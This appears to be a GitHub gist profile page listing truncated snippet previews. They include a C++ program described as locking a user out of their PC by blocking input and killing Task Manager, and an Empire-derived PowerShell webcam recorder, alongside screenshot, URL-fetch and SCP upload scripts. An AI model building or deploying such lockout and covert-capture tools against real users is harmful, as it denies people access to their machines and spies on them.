Skip to content

Instantly share code, notes, and snippets.

View quantumcore's full-sized avatar

Fahad quantumcore

View GitHub Profile
@quantumcore
quantumcore / locked.cpp
Last active August 1, 2018 19:28
[C++] Block Inputs and Kill Task Manager.
/*
C++ Code to Lock user out of his own PC.
Block Mouse and Keyboard.
Task Manager cannot be opened.
Please do not add persistence. :)
*/
#include "stdafx.h"
#include <Windows.h>
#include <ShlObj.h>
@quantumcore
quantumcore / winsock_http_server.cpp
Created November 18, 2018 15:47
Winsock Basic HTTP Server C++
/*
HTTP Server from Winsock made from scratch.
Author : Lynx [ Fahad Mustafa ]
Date 18 November 2018
*/
// Nessecary Includes.
#include "pch.h"
@quantumcore
quantumcore / user_hostname.cpp
Last active December 11, 2018 18:08
[C++] Detect Hostname & Username. (Check if they are same) LINUX
#include <iostream>
#include <unistd.h>
#include <limits.h>
#include <string.h>
int main()
{
char hostname[HOST_NAME_MAX];
char loginName[LOGIN_NAME_MAX];
@quantumcore
quantumcore / screenshot.ps1
Created February 25, 2020 15:33
Powershell to take screenshot.
[Reflection.Assembly]::LoadWithPartialName("System.Drawing")
function screenshot([Drawing.Rectangle]$bounds, $path) {
$bmp = New-Object Drawing.Bitmap $bounds.width, $bounds.height
$graphics = [Drawing.Graphics]::FromImage($bmp)
$graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size)
$bmp.Save($path)
$graphics.Dispose()
@quantumcore
quantumcore / webcam.ps1
Last active June 7, 2024 15:57
Powershell Script to Record Webcam and output the .AVI file to a base64 file.
# Taken from : https://github.com/EmpireProject/Empire/blob/master/lib/modules/powershell/collection/WebcamRecorder.py
function Start-WebcamRecorder
{
<#
.SYNOPSIS
This function utilizes the DirectX and DShowNET assemblies to record video from the host's webcam.
Author: Chris Ross (@xorrior)
License: BSD 3-Clause
.DESCRIPTION
This function will capture video output from the hosts webcamera. Note that if compression is available, there isn't
echo "Hello, World!"
pause
@quantumcore
quantumcore / get.c
Last active May 1, 2020 23:43 — forked from augustgl/get.c
Read url in buffer - Wininet C++
// made a little secure.
#include <tchar.h>
int get(char *szUrl, char *recv_data, DWORD recv_size) {
DWORD NumberOfBytesRead = 0;
RtlZeroMemory(recv_data, recv_size);
HINTERNET connect = InternetOpen(_T("browser"), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (connect) {
HINTERNET openAddr = InternetOpenUrl(connect, (LPWSTR)szUrl, NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_KEEP_CONNECTION, 0);
@quantumcore
quantumcore / upload_ssh.py
Created October 11, 2023 17:09
Simple code to upload a file to server via ssh.
import paramiko
from scp import SCPClient
import argparse
def main():
parser = argparse.ArgumentParser(description="Securely transfer files over SSH using SCP")
parser.add_argument("ip", help="Remote host IP address")
parser.add_argument("lfile", help="Local file path")
parser.add_argument("rfile", help="Remote file path")
parser.add_argument("ppkey", help="Path to private key file")